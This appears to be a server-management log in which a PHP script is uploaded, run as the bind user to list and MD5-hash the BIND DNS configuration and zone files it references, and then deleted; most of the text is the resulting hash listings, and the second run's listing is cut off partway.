MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:39:15: Establishing a connection
2026-04-25 18:39:15: 

PUT: /tmp/pkp736109

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:39:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp736109; rm /tmp/pkp736109'

2026-04-25 18:39:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:43:53: Establishing a connection
2026-04-25 18:43:53: 

PUT: /tmp/pkp489779

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:43:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp489779; rm /tmp/pkp489779'

2026-04-25 18:43:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
